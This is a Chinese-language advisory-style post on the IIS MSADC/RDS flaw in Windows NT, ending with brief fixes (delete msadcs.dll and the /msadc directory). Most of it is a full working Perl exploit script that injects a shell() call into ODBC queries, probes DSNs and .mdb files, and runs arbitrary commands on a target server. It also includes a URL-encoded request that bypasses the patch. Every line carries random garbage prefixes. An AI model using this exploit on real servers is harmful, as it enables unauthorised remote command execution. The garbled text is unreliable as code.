IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
l~$Od jf Wfj*)j
Q 涉及程序：
^Z G 3{> Microsoft NT server
(d}z>?L Q) Y&h'.( 描述：
<j^"=UN4# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@EGUQ|WL^ LO;Z3Q>#0 详细：
d<>jhp5el 如果你没有时间读详细内容的话，就删除:
J7$JW3O c:\Program Files\Common Files\System\Msadc\msadcs.dll
ul ag$ ge 有关的安全问题就没有了。
<UBB&}R0 AGgL`sP 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
zK ir ]?j[P=\ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
m; m4/z3U 关于利用ODBC远程漏洞的描述，请参看:
GoRSLbCUR
P:tl)ob http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm bPo*L~xdk 5:
O,-b& 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
6ZwFU5)QE/ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }Oh@` xTxt etLA F 这里不再论述。
a?ii)GGq =U<6TP]{ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
m/>z}d05h XCku[?Ix /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
[iT#Pu5 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
6j = a 4I<U5@a pk:2>sx/ #将下面这段保存为txt文件，然后: "perl -x 文件名"
qC$h~Epp4 ^f bw0 #!perl
Jz' 8|o;^ #
J3# # MSADC/RDS 'usage' (aka exploit) script
, K[}Bz #
6$"0!fl> # by rain.forest.puppy
AHtLkfr(r #
A]CO
Ysc # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qaN%&K9F8 # beta test and find errors!
U0t~H{-H qra5&Fvb use Socket; use Getopt::Std;
c!}f \ ]D getopts("e:vd:h:XR", \%args);
R'{BkC}. hu''"/raM print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7K}Sk )a'c_ 2 [ if (!defined $args{h} && !defined $args{R}) {
z4[S 02s print qq~
% $.]g Usage: msadc.pl -h <host> { -d <delay> -X -v }
{Tym# -h <host> = host you want to scan (ip or domain)
}Qo:;&"3 -d <seconds> = delay between calls, default 1 second
Dt p\ T|) -X = dump Index Server path table, if available
iPoDesp -v = verbose
(>gAnebN
L -e = external dictionary file for step 5
PgF7ug%,@C 1%,AU Or a -R will resume a command session
3gzcpFNqX v5!G/TZ1 ~; exit;}
KZ}F1Mr <!M ab} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6 su^yt if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-Y "'=zkO if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
@(_M\>!%M if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
auP6\kp Me $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
GMO|A.bzzN if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
. |g67PH= A(>kp=~ if (!defined $args{R}){ $ret = &has_msadc;
V`MV_zA2 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
9e:}q O5) zHsWj^m" print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Q #%C)7) . "cmd /c ";
(o5+9'y"9 $in=<STDIN>; chomp $in;
h#iFp9N $command="cmd /c " . $in ;
BXf.^s{H Ie%twc if (defined $args{R}) {&load; exit;}
/K./k!'z ,wvzY7% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5%E.UjC &try_btcustmr;
yIdM2# `u Ltt+BUJc print "\nStep 2: Trying to make our own DSN...";
@9!,] n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*8*E\nZx! r ]cC4%in print "\nStep 3: Trying known DSNs...";
LFx*_3a &known_dsn;
gZs UX^% (y xrK print "\nStep 4: Trying known .mdbs...";
]k (n_+! &known_mdb;
) !!xvyc A
S#D9o if (defined $args{e}){
aTceGyWzl print "\nStep 5: Trying dictionary of DSN names...";
+AT!IZrB2i &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/{~cUB,Um S}rW=hO print "Sorry Charley...maybe next time?\n";
-O ro$=% exit;
.7HnWKUV x>@+lV'O ##############################################################################
2_4m}T3 9x~qcH% sub sendraw { # ripped and modded from whisker
J6H3X;vxQw sleep($delay); # it's a DoS on the server! At least on mine...
sH>Z{xjr my ($pstr)=@_;
/Nh:O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3ee?B~Tun die("Socket problems\n");
$^2 j#]uX if(connect(S,pack "SnA4x8",2,80,$target)){
y!9f acg select(S); $|=1;
2_ x~y|<9 print $pstr; my @in=<S>;
xCd9b:jG select(STDOUT); close(S);
0-^wY8n-= return @in;
VS#i>nlT } else { die("Can't connect...\n"); }}
jy]< q^J #egP*{F ##############################################################################
] g/% w3G &&w 7- sub make_header { # make the HTTP request
o .}?K>5 my $msadc=<<EOT
S|8O$9{x9q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
S:UtmS+K User-Agent: ACTIVEDATA
[p +h b Host: $ip
XMM@EN Content-Length: $clen
jF'az l T Connection: Keep-Alive
nx(O]R,Sw L}&U%eD ADCClientVersion:01.06
E6-alBi % Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ZU&I`q|Y6 ?^F#}>C --!ADM!ROX!YOUR!WORLD!
Ah2%LXdHA Content-Type: application/x-varg
* n)3y.s Content-Length: $reqlen
T#1>p ED ] Qp0|45= EOT
G;+hc%3y ; $msadc=~s/\n/\r\n/g;
<mc[-To return $msadc;}
MK]S205{ }{^i*T5rl ##############################################################################
{.We%{4V 1R/=as,R sub make_req { # make the RDS request
-4JdK O my ($switch, $p1, $p2)=@_;
9Q ".166 my $req=""; my $t1, $t2, $query, $dsn;
k!]Tg"]JAh wR;_x x if ($switch==1){ # this is the btcustmr.mdb query
]FLuiC $query="Select * from Customers where City=" . make_shell();
P]Z}%
8^O $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<dTo-P $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Te"<.0~1 > 9f -zv(n elsif ($switch==2){ # this is general make table query
c FjC $query="create table AZZ (B int, C varchar(10))";
|5}{4k~9J $dsn="$p1";}
a4
g~'^uC 0;Y_@UVj elsif ($switch==3){ # this is general exploit table query
LB1.N!q1 $query="select * from AZZ where C=" . make_shell();
u OEFb $dsn="$p1";}
;APpgt4 ~BVg#_P elsif ($switch==4){ # attempt to hork file info from index server
7
:s6W%W1* $query="select path from scope()";
vm+EzmO,! $dsn="Provider=MSIDXS;";}
BCya5!uy nTSGcMI elsif ($switch==5){ # bad query
%D z|p]49! $query="select";
$-VW)~Sl $dsn="$p1";}
Sv H=P !`+ E' LkoyI $t1= make_unicode($query);
AA}M"8~2 $t2= make_unicode($dsn);
O{rgZ/4Au $req = "\x02\x00\x03\x00";
Rww" Z=F $req.= "\x08\x00" . pack ("S1", length($t1));
kImGSIJ $req.= "\x00\x00" . $t1 ;
5|:=#Ql* $req.= "\x08\x00" . pack ("S1", length($t2));
>L anuv)O $req.= "\x00\x00" . $t2 ;
5I{Ys M $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3G t'<E| " return $req;}
r]'AdJFt \z8TYx@ ##############################################################################
xH\'gli/ \O?#gW\tR sub make_shell { # this makes the shell() statement
kX {c+qH M return "'|shell(\"$command\")|'";}
^!|BKH8>f% WKp Hb:H ##############################################################################
6^['g-\2 KhZ'Ic[vw sub make_unicode { # quick little function to convert to unicode
7,|-%!p[ my ($in)=@_; my $out;
+v&+8S`+ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
R+Ke|C return $out;}
l\5qa_{z 3}$ L4U ##############################################################################
#hzs,tvvD XH)MBr@Fz sub rdo_success { # checks for RDO return success (this is kludge)
lp?geav my (@in) = @_; my $base=content_start(@in);
2o/}GIKj if($in[$base]=~/multipart\/mixed/){
W.o
W = < return 1 if( $in[$base+10]=~/^\x09\x00/ );}
FFtj 5e return 0;}
G:' -|h THK)G2
= ##############################################################################
G
<m{ o +98~OInySZ sub make_dsn { # this makes a DSN for us
1O9V Ej5 my @drives=("c","d","e","f");
e )\s0# print "\nMaking DSN: ";
~J"*ahl foreach $drive (@drives) {
jKQnox+= print "$drive: ";
T:wd3^.CG my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
eUqsvF}l! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LP_ !g . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
RXgi> Hz $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Q= ~e| return 0 if $2 eq "404"; # not found/doesn't exist
Oa7` Y`6 if($2 eq "200") {
oHu0] XA foreach $line (@results) {
2NsI3M4$8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(a`z:dz} } return 0;}
k `.-PU M &@9B)|= ##############################################################################
Abce]-E [ OMcSd|nf sub verify_exists {
34]f[jJ| my ($page)=@_;
ZWmmFKFG. my @results=sendraw("GET $page HTTP/1.0\n\n");
n7X3aoVV return $results[0];}
?mRU9VY IcPIOCmOc ##############################################################################
$9*Xf b/ L3X>v3CZ5 sub try_btcustmr {
u&bo32fc my @drives=("c","d","e","f");
3,tKqR7g my @dirs=("winnt","winnt35","winnt351","win","windows");
u-j$4\' |...T
4:^Y foreach $dir (@dirs) {
w{K_+}fAC print "$dir -> "; # fun status so you can see progress
j4H,*fc foreach $drive (@drives) {
)F]E[sga print "$drive: "; # ditto
|? ?uVA)\X $reqlen=length( make_req(1,$drive,$dir) ) - 28;
fVo)# Bj $reqlenlen=length( "$reqlen" );
Y.F:1<FAtf $clen= 206 + $reqlenlen + $reqlen;
sxnj`z ]t7<$L my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dB_\0?jJ- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]O7I7K else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
< 8r%_ '] wvJm)Mj+ ##############################################################################
O,9KhX+ #12PO q sub odbc_error {
yZ 6560(q my (@in)=@_; my $base;
A#2 Fd7& my $base = content_start(@in);
&bs/a] ?Z7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?K I_>{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6/s#'#jh $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R S;r $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.\{GU9|nO return $in[$base+4].$in[$base+5].$in[$base+6];}
@(Ou;Uy print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
j3Ixc G}f print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
a,M7Bb x $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
bNY_V;7Kw` *Yl9%x]3c ##############################################################################
"J%u
!~ _hA p@?
M sub verbose {
OPBnU@=R my ($in)=@_;
q%Obrk return if !$verbose;
DDc?G Y: print STDOUT "\n$in\n";}
,t5Ku)eNm J03yFT,dF ##############################################################################
E7oL{gU
d1``} naNw sub save {
cm6cW(x6 my ($p1, $p2, $p3, $p4)=@_;
EmVE<kY . open(OUT, ">rds.save") || print "Problem saving parameters...\n";
"l n(EvW print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
)@\= pE.H close OUT;}
L!c7$M5xJ b!5W!vcK ##############################################################################
gI'4g ZH HeNg<5v%Y sub load {
1 nX/ 5z_U my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vitmG'|WG open(IN,"<rds.save") || die("Couldn't open rds.save\n");
/*`u(d2g @p=<IN>; close(IN);
@FdtM<X $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Ngi$y> {Sq $target= inet_aton($ip) || die("inet_aton problems");
K\5@ yqy5 print "Resuming to $ip ...";
l`~*" 4|/ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
u
z4P if($p[1]==1) {
6i(nyA
2! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
68+ 9^ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
HKb8z@;%@ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^6H fq^ejt if (rdo_success(@results)){print "Success!\n";}
AnP7KSN[\ else { print "failed\n"; verbose(odbc_error(@results));}}
xuv%mj Q elsif ($p[1]==3){
LylB3BM if(run_query("$p[3]")){
;l7wme8Qk print "Success!\n";} else { print "failed\n"; }}
kDS4 t?Ig elsif ($p[1]==4){
sD_Z`1 if(run_query($drvst . "$p[3]")){
nRPy)L{ print "Success!\n"; } else { print "failed\n"; }}
f,k'gM{K exit;}
& L wR9\sh 75jq+O_: ##############################################################################
MU<Y,4/k + ( ` sub create_table {
GTeFDm; T^ my ($in)=@_;
jL6u#0 $reqlen=length( make_req(2,$in,"") ) - 28;
Siq2 Glg _ $reqlenlen=length( "$reqlen" );
(w-z~#< $clen= 206 + $reqlenlen + $reqlen;
nQa5e_q!u my @results=sendraw(make_header() . make_req(2,$in,""));
O3j:Y|N@F return 1 if rdo_success(@results);
4T{+R{_Y1 my $temp= odbc_error(@results); verbose($temp);
&BFW`5N return 1 if $temp=~/Table 'AZZ' already exists/;
m@u!frE, return 0;}
B ;9^ _ohZTT%l ##############################################################################
V ;
Yl:* (l TM5qC sub known_dsn {
0 j:8 Ve # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
w byY? tH my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
nz3j";d "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
p'0j db :S "banner", "banners", "ads", "ADCDemo", "ADCTest");
z+@aQ@75 &<_*yl p foreach $dSn (@dsns) {
A{bt
Z #k print ".";
qb]n{b2 next if (!is_access("DSN=$dSn"));
Uwv Gw5)q if(create_table("DSN=$dSn")){
\|F4@ print "$dSn successful\n";
D}>pl8ke~g if(run_query("DSN=$dSn")){
~>VEg3#F print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
`|X E B print "Something's borked. Use verbose next time\n";}}} print "\n";}
[V|,O'X ~ /XeDN-{ ##############################################################################
x dd7OSc0{ 0~iC#lHO sub is_access {
rr>QG<i;G my ($in)=@_;
iKnH6} `?U $reqlen=length( make_req(5,$in,"") ) - 28;
r`qMif' $reqlenlen=length( "$reqlen" );
w4Qqo( $clen= 206 + $reqlenlen + $reqlen;
[2pp)wq my @results=sendraw(make_header() . make_req(5,$in,""));
6iV jAxR my $temp= odbc_error(@results);
' _lyoVP verbose($temp); return 1 if ($temp=~/Microsoft Access/);
L'BDS* return 0;}
puF'w:I ( 9z$]hl ##############################################################################
Z3g6 ?2w6 z\Rs?v" sub run_query {
3l _Ko %qS my ($in)=@_;
J;W(}"cFq $reqlen=length( make_req(3,$in,"") ) - 28;
gbsRf&4h $reqlenlen=length( "$reqlen" );
!
@{rk p $clen= 206 + $reqlenlen + $reqlen;
"w9LQ=mW my @results=sendraw(make_header() . make_req(3,$in,""));
vIF=kKl9, return 1 if rdo_success(@results);
Sf);j0G,D my $temp= odbc_error(@results); verbose($temp);
)@09Y_9r return 0;}
X^r5su? Y9Q-<~\z ##############################################################################
SpPG an_qE}P sub known_mdb {
zl F*F8> m my @drives=("c","d","e","f","g");
L$=@j_V2 my @dirs=("winnt","winnt35","winnt351","win","windows");
]( V+ qj my $dir, $drive, $mdb;
[ R+zzl&Zw my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x|d Xa0=N_ !C
* %,Ak # this is sparse, because I don't know of many
A{iI ,IFe my @sysmdbs=( "\\catroot\\icatalog.mdb",
X,: pT\G "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
RrSSAoz1 "\\system32\\certmdb.mdb",
dIQ7u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
h!5^d!2, ~=h]r/b< U my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%jdV8D#Q "\\cfusion\\cfapps\\forums\\forums_.mdb",
>ygyPl
;1s "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
$#2ik~]> "\\cfusion\\cfapps\\security\\realm_.mdb",
.;yy=
Rj "\\cfusion\\cfapps\\security\\data\\realm.mdb",
d)1)/Emyj "\\cfusion\\database\\cfexamples.mdb",
jb~a z "\\cfusion\\database\\cfsnippets.mdb",
7?-eR- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)z&0 g2Am "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
\HLI
y "\\cfusion\\brighttiger\\database\\cleam.mdb",
9!b,!#= "\\cfusion\\database\\smpolicy.mdb",
!sQ$a #Ea "\\cfusion\\database\cypress.mdb",
)SQ*"X4" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?BT\)@ h "\\website\\cgi-win\\dbsample.mdb",
+6|Ys "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
b Gq 0k& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@=,2 {JF*6 ); #these are just
)f1<-a"D| foreach $drive (@drives) {
%^ n9Z /I foreach $dir (@dirs){
*vc=>AEc foreach $mdb (@sysmdbs) {
* t6 XU print ".";
8ar2N)59 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.F:qJ6E print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
b#bdz1@s if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
iDt^4=` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
vDZhoD=VR } else { print "Something's borked. Use verbose next time\n"; }}}}}
R$' 4 d %lNv?sWb foreach $drive (@drives) {
Y:[W wX| foreach $mdb (@mdbs) {
W7>4-gk print ".";
sP$bp Z} if(create_table($drv . $drive . $dir . $mdb)){
W.iL!x.B@ print "\n" . $drive . $dir . $mdb . " successful\n";
R#i|n< x if(run_query($drv . $drive . $dir . $mdb)){
0@d )DLM? print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
qg#TE-Y` } else { print "Something's borked. Use verbose next time\n"; }}}}
lc>)7UF }
|};]^5s9 @P#uH5U ##############################################################################
%ANo^~8 .yE!,^j.gB sub hork_idx {
=]&?(Gq print "\nAttempting to dump Index Server tables...\n";
LI_>fuv"8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
^'.=&@i- $reqlen=length( make_req(4,"","") ) - 28;
K-IXAdx $reqlenlen=length( "$reqlen" );
NsJ t=~ $clen= 206 + $reqlenlen + $reqlen;
hYMIe]kJ my @results=sendraw2(make_header() . make_req(4,"",""));
;<`F[V
Zau if (rdo_success(@results)){
mE( EyB< my $max=@results; my $c; my %d;
Y$b4Ga9j for($c=19; $c<$max; $c++){
Zs<} { `- $results[$c]=~s/\x00//g;
| !{Q4< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
LWHP31{ R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
5%"${ywI $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
?z % @ ;& $d{"$1$2"}="";}
9 P_`IsVK foreach $c (keys %d){ print "$c\n"; }
@iK=1\-2 } else {print "Index server doesn't seem to be installed.\n"; }}
0h-holUf}~ biG=4?Xl ##############################################################################
Tl5K'3 sY+U$BYB> sub dsn_dict {
0Ge*\Q open(IN, "<$args{e}") || die("Can't open external dictionary\n");
8*kZ.-T
B while(<IN>){
)QE7$|s $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*cx mQ next if (!is_access("DSN=$dSn"));
wLC!vX.S if(create_table("DSN=$dSn")){
w H= print "$dSn successful\n";
'$pT:4EuGq if(run_query("DSN=$dSn")){
ATCFdtNc print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6eE%x?# print "Something's borked. Use verbose next time\n";}}}
g \)+
LX print "\n"; close(IN);}
\ }xK$$f2, 2K<rK( ##############################################################################
4* M jDb ]'V8{l sub sendraw2 { # ripped and modded from whisker
)tR5JK} AV sleep($delay); # it's a DoS on the server! At least on mine...
@;kw6f:{d my ($pstr)=@_;
pg~vteq5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?g%5 d die("Socket problems\n");
E]w1!Ah M if(connect(S,pack "SnA4x8",2,80,$target)){
'Wjuv9)/ print "Connected. Getting data";
Q:eIq<erY open(OUT,">raw.out"); my @in;
H+vONg select(S); $|=1; print $pstr;
`bu3S }m7 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Af1 izS3 close(OUT); select(STDOUT); close(S); return @in;
Pc >$[kT0 } else { die("Can't connect...\n"); }}
r ) Ts(#Z } Uki )3( ##############################################################################
r|4jR6%<'m BM=`zGh" sub content_start { # this will take in the server headers
`?LQd2p my (@in)=@_; my $c;
ta"/R@ k* for ($c=1;$c<500;$c++) {
SY|r'8Z% Q if($in[$c] =~/^\x0d\x0a/){
qJ|ByZ.N+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\eF5* {9 else { return $c+1; }}}
4 "1OtBU3 return -1;} # it should never get here actually
D}'g4Ag mj5$ 2J ##############################################################################
Ol H{!
c+?L?s`" sub funky {
},'hhj]O my (@in)=@_; my $error=odbc_error(@in);
6cz%>@ if($error=~/ADO could not find the specified provider/){
=2uE\6Fl, print "\nServer returned an ADO miscofiguration message\nAborting.\n";
(q`Jef exit;}
0/hX3h if($error=~/A Handler is required/){
*I%r
print "\nServer has custom handler filters (they most likely are patched)\n";
jC+>^=J( exit;}
SjD, if($error=~/specified Handler has denied Access/){
iY"I:1l. print "\nServer has custom handler filters (they most likely are patched)\n";
mN +~fu h exit;}}
j[NA3Vj1P {Uxa h ##############################################################################
!3U1HS-i62 9XWF&6w6yf sub has_msadc {
h
Vz%{R" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#<f}.P.Uc my $base=content_start(@results);
`q* 0^} return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7 iu?Q return 0;}
W!q 'wrIx( ;e;lPM{+ ########################
*- $u\?$ /]%,C u^a\02aV[ 解决方案：
ya5a7 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#3u3WTk+ 2、移除web 目录: /msadc
